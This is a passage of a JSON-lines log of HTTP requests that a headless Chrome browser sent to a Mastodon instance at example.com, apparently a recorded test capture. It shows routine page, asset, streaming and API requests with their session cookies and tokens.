_mastodon_session=rrsqAGrZeRwET%2F%2BbCcBEn0YKN%2BH32FsTGMN%2FELBzPURLDL%2FfQtlA2X57dJCilXjkuSUBii9W3JyB%2FCH1Ax2U08o5%2FQ0LvnLfkqg5aUHmlz8Lz5b%2F4MCgMyKjytRDniRzRAjMfjDIVhOQE%2BmMLxrvErKMQSB3QVlE7lrv6%2FLW64x695mYeKkQ2xlStFS7AodfYgrjCRE8DwtScPmgW%2FN0oPrTCfNkcZv0aAdHuDhq9nK%2BU6Mkq31aPGCTV0vbdRBgf8HGTuJXn%2F%2Fp9RyxHNCxItTCqED84hliKqRM3Q0Z%2Fduy4PCHFgSo8R%2BYoftw3DxnXGy4yiuTNX0DIh%2FNEOrwKfGhJ0NNfKjKTxyo8YutLZaH98n%2BWGKFsnAcrKwxXuoYrIaQ6d%2Fz2tAk--dglBlHFKrjt5Y3yv--VCnKkhOH6JdcjCTG8Eg2Yg%3D%3D"], "body": ""}
{"method": "GET", "target": "/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuODcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fe77ef3c04ecd966362e7ac5d7e7a10ddc840123; _mastodon_session=SdyZCz8ZXG8FQiSBtPtmKZO9ZC%2BUFbWmrQvbCakTmfrAFg5Fd9gXerynUiXh9qdq7BEB3fI0W8ms%2FV2pu5e%2Br1tqIB05tDxNGDTmIc3J%2BDlaTLeU4dF5BJjQnaFjPeZgOReKDp%2BLzGd8yuWu9QSE6PYHuX3%2BRkLN4E4FKn1zcT8zce%2BBjGiGF7ZGVs55N9xAigu7%2FCSZeROZyUZl%2BJIT6o5fbk%2BES42bo5iR8rm%2FRGrl7JG1PAfc%2B25Ij0DfWXSLgyXY51CbUwDF%2FGgvVexJlWT6P36cFUWm0ilToLapm0uJ7OFl%2F6CWrHp47XFitbgNzyBWNSvhyAK1Yfe4FqRtDa%2BELxTEMxGqDRhaKpvV2%2FjXF1NZdV4ULrLDNujWcc%2FGEPgYWtAR9gLf4llyHC2Tm2VRaKMY6XgOTIC9qC1ZYqAKJN1YcCtQ07S0uzNHP9saVAiJzsg%3D--l9r0GmkTc07BxG%2F9--ExelfGKY22w0pINg0fOrJQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/public", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTIuOTU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--683a55a2b8eda90efbd6ae4bbe31d7d9ca48e88d; _mastodon_session=tSJo%2Fx32D26MK2pXSa7ZEHRpp0tM%2B%2BVc4XVKomVjhaABNseGev22E6ugNfHN5UG5TARH9MJi%2B9ciYqzrb0m2oToqGsG5TDlwxZqQUKOF7Ggw6Gb3V4VX%2BXWkZ08vTUAAoV%2FrniSKFH9%2F%2B47q3FDSWLfo04SnLQreAnzU8wN9298iX0qiZ3nPoyH9AvLPD9QgwZW7H3fNzDcPDJMtr6aBrTBSvF3jLCQw%2BUcnGvN7nsQ1%2BajGuX12AV9tg1QodstD5RBxvfUF9HRp4XJ1yw8wF9jFh%2BXjN6FqLpJwf16u169q%2BE52rBiGSqYVaPol8HQ%2Bd3%2F1FEZV%2BdkREAuZwxDPDqcuuwPvwNfnM1CR5Qi4GehuOkPEqOSXZaFB8aNWaTksnZcl6GFoBdJf2sUIGNYzHmwqqZJkeD7iy8OOjHoGo3gyTreiQnluiEkF4k0Nff3mNItrARE%3D--rL5XCAUKDmsD%2Fox9--xyTP52phnwqw14ZClnEGZQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTMuNzc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--09901d122b1f0c7c683796ebdea11de605cc29ba; _mastodon_session=kQHrbvwxWCj4T6n8IDRA5klVl07ETA4MxN0d6cOMeF05%2BjfKktPnjJEsqbdQ1OCS5GMYQDu3roHX9m2NfxOAP0be%2BuAq0%2FRiwmE30nrslxb%2BLCxfXg1CyW%2F4z3QFgeKLTwSfUIGaRAkgQnXd6uF%2BljI7VTO0dgB0e3gCQTpBIAXE97QzT0NOxjsHrZ0eFyg2vUNMndRiV5oAopriJBbEa5DhA8Ht4ix46i7UX5MLCn3JT5C17cCu5aYa0NSGFSkcjurmPGWOg%2FxL%2BnYc0OYWMSEBqcoB8w5G0evOn1uvYPBDKe6Km8uPWEADZ7CjU37runmFcEqfMlbY7KIVGtd69FrgfdSQ7F620Ib9tZESpy9yCi9kWyTe0Qted3nOx4pLHR2Sc8YlByd5VNtU1sFitXAuCNMfgU3YOpWMw%2FUYfUOzcGAaMaKNFRBVxLC2pysmDs37MKU%3D--PrwL1WvN6zrtqF60--yVxGdANAgpjRYrj8vjWzrQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/@alice@remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTQuODcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d3ad55402c589859ac3107b7a26c9119d14edc64; _mastodon_session=F%2Fn3sqTYIrpiYRK3qiovkEFHpDLBxaF0QeobKHJrWn3JCVtCYu7uGel0gd1JKYCGVegFpaAnpACD75kmaLg2VQX8Qkx2RWM3RGSFcGhZlD9e54iTdSQEdcdeyCGgqDiZ6R9%2FY2M3upo3ttT76rdlWBRiT9Q5bQOSdNtlJBbNshpmeADwI5JLIWM0QVtlbY6t8Oje5Lq8hIrbp1OnVC9p%2BZgwsOhqjX%2BwVZCpMlCaDqAxxhhxNVITSaci3sTuFckVLjhHS4EIHqwXUOWmC5HNfukvm%2FH2i7WVMhb5VUk%2F%2Bvgn6JrgdB71sqfTsuEkwsktT9AT1gRhHfvXVAmFMFBqzEvpdqqiVFv3QmmKkTsbeKr35wn%2BpL%2FUu3gNCPHfPimAcj2EnO9iERazZOfouSJ2aywWwH%2FrwWwT8wl%2F%2Ff0FWoThYgSp8AxwASvPn39VMlGTu9uoKEw%3D--%2B1MDJtbC3oIMPFI1--BBnKBn0Kpn5rEEemOhcRAw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/themes/default-DkDM-a1D.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=VFDMBBIjtaRar6CwZKjB49Tn79pZYZHzEkfeRf6k%2FWviFN1Xvx1ozEsPaMsNL4ZEJyX70zlbwTLhjeUiLR991pdb9vdScnTvnis7ifM2CpavXW8U8%2B9G8TveVPIcNKkmWyX7luJZpPxPUdkL%2FFHJco421ZgnZAE8INDRu42KQaIvL73PYj6%2FTUi48Ir1HLOchIW9e6FB6LP4PVelIGCgFIvswznKjy%2FdVJP%2ByEwkHlmWI0CcxO5pExJcGJ5c1HtKxLZMAVOHdTYm2pBSXOx1UVGlSbPCkOzbjg%3D%3D--O0rilVmLNphphIBu--mF%2BB7oesaIu8ghYOttQxxA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/common-lwvm9nKJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSTRNMlJsTmpZMk1UVTNNelk1Wm1RMllqUmpaR1ZrTUdSaE5UUTBNRFV3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MTEuMTA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8f62ff1df9fa574bfddeccc9a1b78fc315de788e; _mastodon_session=0Fk90wqdTTgZyid01PXnwV77POyvxjB2%2B4VLhJqShA6kJ72vvDVcMamz5ciDpr3nhLyU%2FtgAxbzPgOQjuSBPu8DZJKihgNtHsLC%2BnEM28CAUiJSDbcPs4rsUpccpHn8TTsobEdc%2FlntgX6gDsK7rEWDJSSv29zVLTHSGdII%2Fo590u1X2XQyPxoqJLfvGR9GgyWxOmpn9p5VnZlWB6cZM1s3NRUeJmQpWaZftGRY8bckAQBsYYjzxz616odgcmaP1jxxIFkVC4WWD2sb4l6Y03gCeNn77GZPzCdhFqM0BbeV9dJWiqooQ70Fzw4Yf6vaEMXIgBOpBzEUv2AX7MazeAMS4px%2BJDuhDuoXfALaCfNKm7aS3Rte27YznvF%2F4peEtVUASI%2BW2pXpJ--dMe3B9EzsQX0gvC%2F--SS8hCi3KejM5GikirX4lGA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/common-lwvm9nKJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=jDhNSab96xZL6Vv5%2Fz1kvMfnPisZP23Ed0L0eOSOzUdJbEdd58YgH7IsWol1MfuHROk1LmAdi1zd0uMCsNYTygmBnGlJQIDHLC7y%2Bwah9VKZUrHZe8Yg%2B%2Bf9KVnWQkaGZG3S248jMnMZgvdfkBcirpcS2%2Bfy8BP0E7atXitar0hzqTR4KMIUd1qsqXTVF%2FdjzDJ8XAsvgdebIrJ%2FvHOID%2FGcGWzprsxIYTV1MUXbXu0Sh%2BeCPfY80i6STDQGM20vnpIMmkCrQWAM4P4UmFz%2FXSYzFM27ARoj%2BQ%3D%3D--RhTnjzTJ4Cjf7eis--QLxoOakmfr7z9sRFGCgNOg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/skip_links-DIHZBkdS.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-router-dom-C1dtKQUg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-immutable-pure-component.es-DpNNSygw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/streaming/?", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-WebSocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D", "Sec-WebSocket-Key: Y3IFC2Oku06pSzNXQel+ig==", "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits", "Sec-WebSocket-Protocol: uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y"], "body": ""}
{"method": "GET", "target": "/packs/toString-HjykfQcJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Origin: https://example.com", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow&exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 